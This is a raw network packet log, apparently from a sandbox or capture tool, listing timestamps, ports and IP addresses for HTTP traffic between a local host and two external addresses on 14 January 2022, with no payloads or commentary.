Jan 14, 2022 02:05:13.734843969 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.734884024 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.734940052 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.734970093 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735024929 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735078096 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735127926 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735160112 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735203028 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735213995 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735249043 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735270977 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735315084 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735326052 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735358000 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735383987 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735428095 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735439062 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735474110 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735495090 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735539913 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735549927 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735583067 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735606909 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735651016 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735662937 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735697985 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735718966 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735764027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735776901 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735810041 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735833883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735872030 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735888004 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735918045 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.735945940 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.735991955 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736004114 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736037970 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736059904 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736108065 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736119032 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736156940 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736180067 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736226082 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736238003 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736272097 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736294985 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736340046 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736351013 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736383915 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736408949 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736454964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736466885 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736499071 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736525059 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736587048 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736598015 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736632109 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736655951 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736695051 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736711025 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736745119 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736769915 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736810923 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736829996 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736865044 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736890078 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736937046 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.736948967 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.736988068 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.737010002 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.737057924 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.737070084 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.737107992 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.737128019 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.737168074 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.737185955 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.737219095 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.737243891 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.737282991 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.737299919 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.737333059 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.737356901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.737396002 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.737413883 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.737446070 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.737471104 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.737517118 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.737528086 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.737564087 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.773581982 CET	80	49873	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:13.789696932 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.789748907 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.789783001 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.789792061 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.789820910 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.789825916 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.789833069 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.789896965 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.789936066 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.789956093 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.789971113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.789999962 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.790008068 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.790040016 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.790044069 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.790050983 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.790079117 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.790095091 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.790117979 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.790126085 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.790153027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.790165901 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.790189981 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.790204048 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.790226936 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.790240049 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.790261984 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.790276051 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.790297985 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.790309906 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.790410042 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809432030 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809459925 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809478045 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809493065 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809509993 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809528112 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809535027 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809544086 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809561968 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809562922 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809578896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809582949 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809597015 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809613943 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809627056 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809632063 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809648037 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809657097 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809668064 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809684038 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809688091 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809700966 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809717894 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809734106 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809748888 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809765100 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809771061 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809782028 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809782982 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809787989 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809801102 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809817076 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809823036 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809834957 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809864044 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809880972 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809880972 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809895992 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809911966 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809915066 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809926033 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.809926987 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809945107 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809959888 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.809958935 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810005903 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810009003 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810029030 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810044050 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810060024 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810080051 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810111046 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810194016 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810250998 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810292006 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810311079 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810327053 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810343981 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810359955 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810375929 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810379028 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810393095 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810410023 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810426950 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810429096 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810435057 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810444117 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810461044 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810473919 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810477972 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810491085 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810508013 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810512066 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810523987 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810540915 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810556889 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810559034 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810573101 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810590029 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810594082 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810606956 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810625076 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810628891 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810641050 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810657024 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810669899 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810677052 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810682058 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810693026 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810709953 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810725927 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810726881 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810743093 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810760021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810762882 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810775995 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810786009 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.810795069 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.810828924 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.862265110 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862304926 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862330914 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862356901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862381935 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862385035 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.862407923 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862421036 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.862437963 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862443924 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.862466097 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862481117 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.862493038 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862519979 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862545013 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862545967 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.862571955 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862597942 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862623930 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862632036 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.862653017 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.862664938 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.862823963 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.881871939 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.881901979 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.881922007 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.881939888 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.881958008 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.881977081 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.881994009 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882013083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882016897 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882030964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882049084 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882050037 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882070065 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882087946 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882088900 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882101059 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882107973 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882128000 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882144928 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882148027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882167101 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882173061 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882185936 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882206917 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882226944 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882245064 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882247925 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882261038 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882263899 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882282972 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882296085 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882301092 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882319927 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882337093 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882355928 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882360935 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882369995 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882375002 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882394075 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882411957 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882411957 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882431030 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882448912 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882451057 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882467031 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882486105 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882496119 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882504940 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882518053 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882524967 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882548094 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882554054 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882572889 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882591963 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882611036 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882616043 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882628918 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882647991 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882649899 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882666111 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882687092 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882688046 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882707119 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882719040 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882725954 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882745981 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882757902 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882764101 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882783890 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882802963 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882802963 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882821083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882817984 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882839918 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882858992 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882867098 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882884026 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882903099 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882908106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882934093 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.882981062 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.882987976 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883007050 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883022070 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883037090 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.883038044 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883075953 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.883112907 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883130074 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883146048 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883160114 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883177042 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883178949 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.883215904 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.883229017 CET	49865	80	192.168.2.3	141.8.194.74
